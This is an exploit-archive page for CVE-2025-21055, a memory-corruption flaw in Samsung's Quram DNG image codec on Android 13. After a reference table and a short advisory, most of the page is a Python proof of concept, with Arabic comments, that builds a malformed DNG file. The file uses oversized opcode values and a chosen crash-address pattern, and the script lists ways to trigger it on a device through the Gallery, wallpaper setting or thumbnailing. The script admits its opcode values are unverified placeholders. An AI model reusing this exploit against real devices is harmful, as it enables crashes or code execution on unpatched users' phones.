| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-21055 | 10 Oct 202507:09 | – | circl | |
| SAMSUNG Mobile devices 安全漏洞 | 10 Oct 202500:00 | – | cnnvd | |
| Unspecified vulnerability in SAMSUNG Mobile devices (CNVD-2025-24783) | 21 Oct 202500:00 | – | cnvd | |
| CVE-2025-21055 | 10 Oct 202506:33 | – | cve | |
| CVE-2025-21055 | 10 Oct 202506:33 | – | cvelist | |
| EUVD-2025-33677 | 10 Oct 202509:30 | – | euvd | |
| CVE-2025-21055 | 10 Oct 202507:15 | – | nvd | |
| CVE-2025-21055 | 10 Oct 202507:15 | – | osv | |
| 📄 Samsung Quram DNG Advanced Remote Code Execution | 9 Feb 202600:00 | – | packetstorm | |
| PT-2025-41516 | 10 Oct 202500:00 | – | ptsecurity |
=============================================================================================================================================
| # Title : Android 13 Quram DNG Codec Memory Corruption Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.samsung.com/n_africa/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211371/ & CVE-2025-21055 https://packetstorm.news/download/211371
[+] Summary :
CVE‑2025‑21055 is an Out‑of‑Bounds Read/Write vulnerability in **Samsung’s Quram image codec library** (`libimagecodec.quram.so`).
The flaw is triggered when the library processes a maliciously crafted image file, causing memory access outside the intended buffer boundaries.
Successful exploitation can result in **information disclosure**, **application crash**, or potentially **arbitrary code execution**,
depending on the attack scenario. The issue affects Samsung devices running vulnerable versions of the Quram codec **prior to the security update SMR October 2025 Release 1**.
Samsung addressed the vulnerability by releasing a patched version of the image codec library in the October 2025 Security Maintenance Release (SMR).
[+] Vulnerability: Remote Code Execution in Samsung’s libimagecodec.quram.so library.
[+] Affected software: Samsung devices running Android 13 with firmware older than SMR Oct‑2025 Release 1.
[+] Impact: An attacker can exploit the vulnerability via specially crafted image files to execute arbitrary code on the device.
[+] Affected devices: All Samsung devices using the vulnerable library version, including (but not limited to) Galaxy S22, S23, S24, Z Fold4, Z Flip4—only if firmware is unpatched.
[+] Patch/Remediation: Apply the October 2025 SMR or later security update.
[+] POC : python poc.py
#!/usr/bin/env python3
"""
Proof of Concept for CVE-2025-21055
Quram DNG Codec Memory Corruption Vulnerability
"""
import struct
import os
def create_malicious_dng():
"""
إنشاء ملف DNG مصمم لإثارة الخلل في QuramDngOpcodeScalePerColumn
"""
# هيكل أساسي لملف DNG مع opcodes مخصصة
dng_data = bytearray()
# TIFF Header (مطلوب لملفات DNG)
dng_data.extend(b'II*\x00') # Little-endian TIFF
dng_data.extend(struct.pack('<I', 8)) # Offset to IFD0
# IFD0 - Basic tags
ifd0_data = bytearray()
ifd0_data.extend(struct.pack('<H', 11)) # Number of entries
# ImageWidth (مطلوب) - Tag 256, Type=LONG (4), Count=1, Value=100
ifd0_data.extend(struct.pack('<HHI', 256, 4, 1))
ifd0_data.extend(struct.pack('<I', 100))
# ImageLength (مطلوب) - Tag 257, Type=LONG (4), Count=1, Value=100
ifd0_data.extend(struct.pack('<HHI', 257, 4, 1))
ifd0_data.extend(struct.pack('<I', 100))
# BitsPerSample - Tag 258, Type=SHORT (3), Count=3
ifd0_data.extend(struct.pack('<HHI', 258, 3, 3))
bits_per_sample_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', bits_per_sample_offset))
# Compression - Tag 259, Type=SHORT (3), Count=1, Value=1 (No compression)
ifd0_data.extend(struct.pack('<HHI', 259, 3, 1))
ifd0_data.extend(struct.pack('<H', 1)) # Value in the offset field
ifd0_data.extend(b'\x00\x00') # Padding
# PhotometricInterpretation - Tag 262, Type=SHORT (3), Count=1, Value=32803 (CFA)
ifd0_data.extend(struct.pack('<HHI', 262, 3, 1))
ifd0_data.extend(struct.pack('<H', 32803))
ifd0_data.extend(b'\x00\x00') # Padding
# Make DNG-specific tags
# DNGVersion - Tag 50706, Type=BYTE (1), Count=4, Value=[1,0,0,0]
ifd0_data.extend(struct.pack('<HHI', 50706, 1, 4))
dng_version_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', dng_version_offset))
# DNGBackwardVersion - Tag 50707, Type=BYTE (1), Count=4, Value=[1,0,0,0]
ifd0_data.extend(struct.pack('<HHI', 50707, 1, 4))
dng_backward_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', dng_backward_offset))
# OpcodeList1 - النقطة الحرجة للهجوم - Tag 51008
opcode_list = create_malicious_opcodes()
ifd0_data.extend(struct.pack('<HHI', 51008, 1, len(opcode_list)))
opcode_list_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', opcode_list_offset))
# CFAPattern - Tag 33421, Type=BYTE (1), Count=4
ifd0_data.extend(struct.pack('<HHI', 33421, 1, 4))
cfa_pattern_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', cfa_pattern_offset))
# نموذج CFA بسيط - RGGB
cfa_pattern = b'\x00\x01\x01\x02'
# إضافة بيانات إضافية
ifd0_data.extend(struct.pack('<I', 0)) # Offset to next IFD
# دمج كل البيانات
dng_data.extend(ifd0_data)
# إضافة البيانات المرجعية
# BitsPerSample data
dng_data.extend(struct.pack('<HHH', 16, 16, 16))
# DNGVersion data
dng_data.extend(b'\x01\x00\x00\x00')
# DNGBackwardVersion data
dng_data.extend(b'\x01\x00\x00\x00')
# CFA Pattern data
dng_data.extend(cfa_pattern)
# إضافة OpcodeList في الموضع الصحيح
opcode_pos = opcode_list_offset - len(dng_data)
if opcode_pos < 0:
# إذا كان الموقع سالباً، نضيف padding
padding_needed = -opcode_pos
dng_data.extend(b'\x00' * padding_needed)
dng_data.extend(opcode_list)
else:
# إذا كان الموقع موجباً، نضيف في الموضع المحدد
if len(dng_data) < opcode_list_offset:
dng_data.extend(b'\x00' * (opcode_list_offset - len(dng_data)))
dng_data.extend(opcode_list)
return bytes(dng_data)
def create_malicious_opcodes():
"""
إنشاء opcodes مصممة لإثارة الخلل في ScalePerColumn
"""
opcodes = bytearray()
# Opcode ID لـ ScalePerColumn (قيمة افتراضية - تحتاج التحقق)
scale_per_column_id = 0x0000000A
# Version
opcodes.extend(struct.pack('<I', 1))
# إحداثيات المنطقة - قيم مصممة لإثارة integer overflow
# استخدام قيم كبيرة لإثارة الفائض في الحسابات
top = 0x00000000
left = 0x00000000
bottom = 0xFFFFFFFF # قيمة كبيرة جداً
right = 0xFFFFFFFF # قيمة كبيرة جداً
opcodes.extend(struct.pack('<IIII', top, left, bottom, right))
# عدد الأعمدة - قيمة غير طبيعية
column_count = 0x7FFFFFFF # MAX_INT تقريباً
opcodes.extend(struct.pack('<I', column_count))
# معاملات القياس - قيم مصممة لإثارة الخلل في الحسابات
# استخدام قيم تؤدي إلى عناوين ذاكرة غير صالحة
for i in range(100): # عدد كبير من المعاملات
# قيم مصممة لإنشاء عنوان ذاكرة غير قانوني
if i % 4 == 0:
factor = 0xB4000000 + (i * 0x1000) # محاولة الوصول لعنوان الكراش
else:
factor = 0x00000001 # قيم عادية لتجنب الاكتشاف المبكر
opcodes.extend(struct.pack('<I', factor & 0xFFFFFFFF))
return opcodes
def create_simplified_indoushka():
"""
نسخة مبسطة من الملف الخبيث تركز على الجزء الأساسي
"""
dng_data = bytearray()
# TIFF Header بسيط
dng_data.extend(b'II*\x00\x08\x00\x00\x00') # Header + offset to IFD
# IFD مع عدد قليل من Tags
ifd_data = bytearray()
ifd_data.extend(struct.pack('<H', 5)) # 5 entries
# ImageWidth
ifd_data.extend(struct.pack('<HHI', 256, 4, 1))
ifd_data.extend(struct.pack('<I', 100))
# ImageLength
ifd_data.extend(struct.pack('<HHI', 257, 4, 1))
ifd_data.extend(struct.pack('<I', 100))
# Compression
ifd_data.extend(struct.pack('<HHI', 259, 3, 1))
ifd_data.extend(struct.pack('<H', 1))
ifd_data.extend(b'\x00\x00')
# PhotometricInterpretation (CFA)
ifd_data.extend(struct.pack('<HHI', 262, 3, 1))
ifd_data.extend(struct.pack('<H', 32803))
ifd_data.extend(b'\x00\x00')
# OpcodeList1 - التركيز على الجزء المهم
ifd_data.extend(struct.pack('<HHI', 51008, 1, 1000)) # حجم كبير
opcode_offset = len(dng_data) + len(ifd_data) + 4
ifd_data.extend(struct.pack('<I', opcode_offset))
# No next IFD
ifd_data.extend(struct.pack('<I', 0))
dng_data.extend(ifd_data)
# إضافة opcodes خبيثة
opcodes = bytearray()
opcodes.extend(struct.pack('<I', 1)) # version
# إحداثيات كبيرة جداً
opcodes.extend(struct.pack('<IIII', 0, 0, 0x7FFFFFFF, 0x7FFFFFFF))
# معاملات قياس مصممة للتسبب في memory corruption
for i in range(200):
if i == 50: # في منتصف البيانات، نضيف القيم الخبيثة
opcodes.extend(struct.pack('<I', 0xB4000079))
opcodes.extend(struct.pack('<I', 0x2607A000))
else:
opcodes.extend(struct.pack('<I', i))
# تأكد من أن البيانات في الموضع الصحيح
if len(dng_data) < opcode_offset:
dng_data.extend(b'\x00' * (opcode_offset - len(dng_data)))
dng_data.extend(opcodes)
return bytes(dng_data)
def indoushka_via_gallery(file_path):
"""
محاولة استغلال الثغرة عبر معالجة الملف في الجاليري
"""
print(f"[+] Creating malicious DNG file: {file_path}")
try:
# محاولة إنشاء الملف بالطريقة المعقدة أولاً
malicious_dng = create_malicious_dng()
print("[+] Complex DNG created successfully")
except Exception as e:
print(f"[-] Complex method failed: {e}")
print("[+] Trying simplified method...")
malicious_dng = create_simplified_indoushka()
print("[+] Simplified DNG created successfully")
with open(file_path, 'wb') as f:
f.write(malicious_dng)
file_size = os.path.getsize(file_path)
print(f"[+] Malicious DNG file created: {file_path} ({file_size} bytes)")
print("\n[+] Trigger methods:")
print(" 1. Copy file to device: adb push indoushka.dng /sdcard/Download/")
print(" 2. Open file in Samsung Gallery")
print(" 3. Use 'Set as wallpaper' feature")
print(" 4. Share the image to Gallery")
print(" 5. Wait for automatic thumbnail generation")
def analyze_crash():
"""
تحليل معلومات الكراش من السجل المرفق
"""
print("\n[!] Crash Analysis:")
print(" - Fault address: 0xb40000792607a000 (non-canonical ARM64 address)")
print(" - Crash in: QuramDngOpcodeScalePerColumn::processArea()")
print(" - Likely cause: Integer overflow in memory calculation")
print(" - Attack vector: Malicious ScalePerColumn opcode in DNG")
if __name__ == "__main__":
print("CVE-2025-21055 - Quram DNG Codec PoC")
print("=====================================")
output_file = "indoushka.dng"
analyze_crash()
indoushka_via_gallery(output_file)
print(f"\n[!] PoC file '{output_file}' generated successfully")
print("[!] Test on isolated device only!")
print("[!] Actual exploitation requires precise opcode values from reverse engineering")
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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